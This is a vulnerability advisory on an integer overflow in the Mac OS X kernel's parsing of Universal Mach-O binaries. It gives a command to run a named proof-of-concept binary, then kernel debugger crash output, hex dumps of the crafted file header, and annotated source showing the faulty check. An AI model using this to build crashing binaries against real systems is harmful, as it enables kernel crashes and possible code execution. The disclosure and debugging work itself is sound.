Bug details
Title: Mac OS X Universal Binary Loading Memory Corruption OMG! PWNIES! DADDY I WANT M4C P0NYMONK3YS!
Description: Mac OS X fails to properly handle corrupted Universal Binaries, leading to an exploitable memory corruption condition with potential risk of kernel-mode arbitrary code execution. This particular vulnerability is caused by an integer overflow in the fatfile_getarch2() function. Local unprivileged users can abuse this issue with specially crafted Mach-O 'Universal' binaries.
Author/Contributor: NA<NA[at]> - discovery, MoKB release, debugging.
Proof of concept or exploit: The following Mach-O 'Universal' binary can be used to reproduce the bug: MOKB-26-11-2006.bz2
bunzip2 MOKB-26-11-2006.bz2 && ./MOKB-26-11-2006
Debugging information:

It's been tested on an up-to-date (26-11-2006) Mac OS X installation, running on an Intel "shipping" Mac (x86).

yssupstae:/tmp evets$ gdb /Volumes/KernelDebugKit/mach_kernel -c core-xnu-792.13.8-
GNU gdb 6.3.50-20050815 (Apple version gdb-573) (Fri Oct 20 15:50:43 GMT 2006)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-apple-darwin"...
#0  Debugger (message=0x3c9540 "panic") at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/AT386/model_dep.c:770
Line number 770 out of range; /SourceCache/xnu/xnu-792.13.8/osfmk/i386/AT386/model_dep.c has 312 lines.
(gdb) source /Volumes/KernelDebugKit/kgmacros
Loading Kernel GDB Macros package.  Type "help kgm" for more info.
(gdb) paniclog
panic(cpu 0 caller 0x001A3135): Unresolved kernel trap (CPU 0, Type 14=page fault), registers:
CR0: 0x80010033, CR2: 0x2524200c, CR3: 0x00d72000, CR4: 0x000006e0
EAX: 0x00000000, EBX: 0x3fffff35, ECX: 0x40000002, EDX: 0x00000000
CR2: 0x2524200c, EBP: 0x13fcb8a8, ESI: 0x2524200c, EDI: 0x00ffffff
EFL: 0x00010206, EIP: 0x00369de4, CS:  0x00000004, DS:  0x02ec000c

Backtrace, Format - Frame : Return Address (4 potential args on stack)
0x13fcb6c8 : 0x128d1f (0x3c9540 0x13fcb6ec 0x131df4 0x0)
0x13fcb708 : 0x1a3135 (0x3cf1f4 0x0 0xe 0x3cea24)
0x13fcb818 : 0x19a8d4 (0x13fcb828 0xe000002 0xe 0x48)
0x13fcb8a8 : 0x369f48 (0xff000000 0x13fcb928 0x2 0x0)
0x13fcb8e8 : 0x335826 (0x2ecf4a4 0x25241000 0x13fcb928 0x0)
0x13fcb958 : 0x335f09 (0x13fcb9b8 0x2ecf4a4 0x25241000 0x1000)
0x13fcbf68 : 0x378337 (0x2d9a1f4 0x2d8abf0 0x2d8ac34 0x0)
0x13fcbfc8 : 0x19acae (0x2dc7bd4 0x0 0x19d0b5 0x2dc7bd4) No mapping exists for frame pointer
Backtrace terminated-invalid frame pointer 0xbffff038

Kernel version:
Darwin Kernel Version 8.8.1: Mon Sep 25 19:42:00 PDT 2006; root:xnu-792.13.8.obj~1/RELEASE_I386

(gdb) bt
#0  Debugger (message=0x3c9540 "panic") at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/AT386/model_dep.c:770
#1  0x00128d1f in panic (str=0x3cf1f4 "Unresolved kernel trap (CPU %d, Type %d=%s), registers:\nCR0: 0x%08x,
    CR2: 0x%08x, CR3: 0x%08x, CR4: 0x%08x\nEAX: 0x%08x, EBX: 0x%08x, ECX: 0x%08x, EDX: 0x%08x\nCR2: 0x%08x,
     EBP: 0x%08x, ESI: 0x%08x, EDI"...) at /SourceCache/xnu/xnu-792.13.8/osfmk/kern/debug.c:202
#2  0x001a3135 in kernel_trap (state=0x13fcb828) at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/trap.c:630
#3  0x0019a8d4 in trap_from_kernel ()
#4  0x00369f48 in fatfile_getarch_affinity (vp=0x2ecf4a4, data_ptr=623120384, archret=0x13fcb928, affinity=0)
                  at /SourceCache/xnu/xnu-792.13.8/bsd/kern/mach_fat.c:199
#5  0x00335826 in exec_fat_imgact (imgp=0x13fcb9b8) at /SourceCache/xnu/xnu-792.13.8/bsd/kern/kern_exec.c:499
#6  0x00335f09 in execve (p=0x2d9a1f4, uap=0x2d8abf0, retval=0x2d8ac34) at /SourceCache/xnu/xnu-792.13.8/bsd/kern/kern_exec.c:1118
#7  0x00378337 in unix_syscall (state=0x2dc7bd4) at /SourceCache/xnu/xnu-792.13.8/bsd/dev/i386/systemcalls.c:196
#8  0x0019acae in lo_unix_scall ()
Cannot access memory at address 0xbffff038
Cannot access memory at address 0xbffff03c

(gdb) info registers
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x19a760 1681248
esp            0x13fcb8b0       0x13fcb8b0
ebp            0x13fcb8e8       0x13fcb8e8
esi            0x2524200c       623124492
edi            0x13fcb828       335329320
eip            0x369f48 0x369f48 <fatfile_getarch_affinity+95>
eflags         0x0      0
cs             0x0      0
ss             0x0      0
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) frame
#4  0x00369f48 in fatfile_getarch_affinity (vp=0x2ecf4a4, data_ptr=623120384, archret=0x13fcb928, affinity=0)
at /SourceCache/xnu/xnu-792.13.8/bsd/kern/mach_fat.c:199

(gdb) printf "%x\n", data_ptr

(gdb) x/10x data_ptr
0x25241000:     0xbebafeca      0x02000040      0x07000000      0x03000000
0x25241010:     0x00100000      0xd433b500      0x0c000000      0x12f40000
0x25241020:     0x00000000      0x00500000

(gdb) frame
#5  0x00335826 in exec_fat_imgact (imgp=0x13fcb9b8) at /SourceCache/xnu/xnu-792.13.8/bsd/kern/kern_exec.c:499
(gdb) x/40x imgp->ip_vdata
0x25241000:     0xbebafeca      0x02000040      0x07000000      0x03000000
0x25241010:     0x00100000      0xd433b500      0x0c000000      0x12f40000
0x25241020:     0x00000000      0x00500000      0x98c90000      0x0c009e00
0x25241030:     0x00000000      0x00000000      0x00000000      0x00000000
0x25241040:     0x00000000      0x00000000      0x00000000      0x00000000
0x25241050:     0x00000000      0x000000ff      0x00000000      0x00000000
0x25241060:     0x00000000      0x00000000      0x00000000      0x00000000
0x25241070:     0x00000000      0x00000000      0x00000000      0x00000000
0x25241080:     0x00000000      0x00000000      0x00000000      0x00000000
0x25241090:     0x00007400      0x00000000      0x00000000      0x00000000
(gdb) p imgp->ip_strings
$11 = 0x25201000 "tmp/Mach-o_96"
(gdb) p imgp->ip_vp->v_name
$19 = 0x2660494 "Mach-o_96"

(gdb) p imgp->ip_arch_offset
$23 = 0
(gdb) p imgp->ip_arch_size
$24 = 34200
(gdb) printf "%x\n", imgp->ip_arch_size
(gdb) p fat_arch.size
$25 = 8
(gdb) p fat_arch.offset
$26 = 11

-------------- exec_fat_imgact(struct image_params *imgp) bsd/kern/kern_exec.c
(we don't reach this point, these remain non assigned)
457         /* Success.  Indicate we have identified an encapsulated binary */
458         error = -2;
459         imgp->ip_arch_offset = (user_size_t)fat_arch.offset;
460         imgp->ip_arch_size = (user_size_t)fat_arch.size;
-------------- bsd/kern/kern_exec.c

-------------- bsd/sys/imgact.h
 62 struct image_params {
 63         user_addr_t     ip_user_fname;          /* argument */
 64         user_addr_t     ip_user_argv;           /* argument */
 65         user_addr_t     ip_user_envv;           /* argument */
 66         struct vnode    *ip_vp;                 /* file */
 67         struct vnode_attr       *ip_vattr;      /* run file attributes */
 68         struct vnode_attr       *ip_origvattr;  /* invocation file attributes */
 69         char            *ip_vdata;              /* file data (up to one page) */
 70         int             ip_flags;               /* image flags */
 71         int             ip_argc;                /* argument count */
 72         char            *ip_argv;               /* argument vector beginning */
 73         int             ip_envc;                /* environment count */
 74         char            *ip_strings;            /* base address for strings */
 75         char            *ip_strendp;            /* current end pointer */
 76         char            *ip_strendargvp;        /* end of argv/start of envp */
 77         int             ip_strspace;            /* remaining space */
 78         user_size_t     ip_arch_offset;         /* subfile offset in ip_vp */
 79         user_size_t     ip_arch_size;           /* subfile length in ip_vp */
 80         char            ip_interp_name[IMG_SHSIZE];     /* interpreter name */
 82         /* Next two fields are for support of Classic... */
 83         char            *ip_p_comm;             /* optional alt p->p_comm */
 84         char            *ip_tws_cache_name;     /* task working set cache */
 85         struct vfs_context      *ip_vfs_context;        /* VFS context */
 86         struct nameidata *ip_ndp;               /* current nameidata */
 87         thread_t        ip_vfork_thread;        /* thread created, if vfork */
 88 };
------------ bsd/sys/imgact.h

(gdb) x/10i 0x00369de4                                <---- eip at fault time
0x369d94 <fatfile_getarch2+4>:  push   %esi
0x369d95 <fatfile_getarch2+5>:  push   %ebx
0x369d96 <fatfile_getarch2+6>:  sub    $0x2c,%esp
0x369d99 <fatfile_getarch2+9>:  mov    %ecx,-36(%ebp)
0x369d9c <fatfile_getarch2+12>: mov    4(%edx),%ecx
0x369d9f <fatfile_getarch2+15>: bswap  %ecx
0x369da1 <fatfile_getarch2+17>: lea    (%ecx,%ecx,4),%eax
0x369da4 <fatfile_getarch2+20>: lea    0(,%eax,4),%ebx
0x369dab <fatfile_getarch2+27>: lea    8(%ebx),%eax
0x369dae <fatfile_getarch2+30>: cmp    $0x200,%eax
0x369db3 <fatfile_getarch2+35>: jg     0x369e6d <fatfile_getarch2+221>
0x369db9 <fatfile_getarch2+41>: lea    4103(%ebx),%eax
0x369dbf <fatfile_getarch2+47>: test   $0xfffff000,%eax
0x369dc4 <fatfile_getarch2+52>: je     0x369e6d <fatfile_getarch2+221>
0x369dca <fatfile_getarch2+58>: lea    8(%edx),%esi
0x369dcd <fatfile_getarch2+61>: mov    %ecx,%ebx
0x369dcf <fatfile_getarch2+63>: movl   $0x0,-32(%ebp)
0x369dd6 <fatfile_getarch2+70>: movl   $0x0,-28(%ebp)
0x369ddd <fatfile_getarch2+77>: mov    8(%ebp),%edi
0x369de0 <fatfile_getarch2+80>: not    %edi
0x369de2 <fatfile_getarch2+82>: jmp    0x369e13 <fatfile_getarch2+131>
0x369de4 <fatfile_getarch2+84>: mov    (%esi),%edx
0x369de6 <fatfile_getarch2+86>: bswap  %edx
0x369de8 <fatfile_getarch2+88>: mov    %edi,%eax
0x369dea <fatfile_getarch2+90>: and    %edx,%eax
0x369dec <fatfile_getarch2+92>: cmp    -36(%ebp),%eax
0x369def <fatfile_getarch2+95>: jne    0x369e0d <fatfile_getarch2+125>
0x369df1 <fatfile_getarch2+97>: mov    4(%esi),%eax
0x369df4 <fatfile_getarch2+100>:        bswap  %eax
0x369df6 <fatfile_getarch2+102>:        mov    %eax,4(%esp)

(gdb) x/10 0x2524200c
0x2524200c:     Cannot access memory at address 0x2524200c

(gdb) x/10x 0x13fcb8a8                                                      <--- ebp
0x13fcb8a8:     0x13fcb8e8      0x00369f48      0xff000000      0x13fcb928
0x13fcb8b8:     0x00000002      0x00000000      0x00000000      0x00000000
0x13fcb8c8:     0x25241000      0x02ecf4a4
(gdb) x/10x 0x25241000                                                      <--- our binary
0x25241000:     0xbebafeca      0x02000040      0x07000000      0x03000000
0x25241010:     0x00100000      0xd433b500      0x0c000000      0x12f40000
0x25241020:     0x00000000      0x00500000
(gdb) x/20 0x25241fd0                                                       <--- near the end
0x25241fd0:     0x00000000      0x00000000      0x00000000      0x00000000
0x25241fe0:     0x00700000      0x00000000      0x00000000      0xbd000000
0x25241ff0:     0x00000000      0x00000000      0x00000000      0x00000000
0x25242000:     Cannot access memory at address 0x25242000                  <--- out of bounds

--------------------- bsd/kern/mach_fat.c
114         /* This is beacuse we are reading only 512 bytes */             <--- typos in a rush?
116         if (end_of_archs > 512)                                         <--- :-)
117                 return(LOAD_BADMACHO);
118         /*
119          *      Round size of fat_arch structures up to page boundry.
120          */
121         size = round_page_32(end_of_archs);
122         if (size == 0)
123                 return(LOAD_BADMACHO);
125         /*
126          * Scan the fat_arch's looking for the best one.
127          */
128         addr = data_ptr;
129         best_arch = NULL;
130         best_grade = 0;
131         arch = (struct fat_arch *) (addr + sizeof(struct fat_header));
132         for (; nfat_arch-- > 0; arch++) {
134                 /*
135                  *      Check to see if right cpu type.
136                  */
137                 if(((cpu_type_t)NXSwapBigIntToHost(arch->cputype) & ~mask_bits) != req_cpu_type)
138                         continue;
140                 /*
141                  *      Get the grade of the cpu subtype.
142                  */
143                 grade = grade_binary(
144                             NXSwapBigIntToHost(arch->cputype),
145                             NXSwapBigIntToHost(arch->cpusubtype));
147                 /*
148                  *      Remember it if it's the best we've seen.
149                  */
150                 if (grade > best_grade) {
151                         best_grade = grade;
152                         best_arch = arch;
153                 }
154         }
--------------------- bsd/kern/mach_fat.c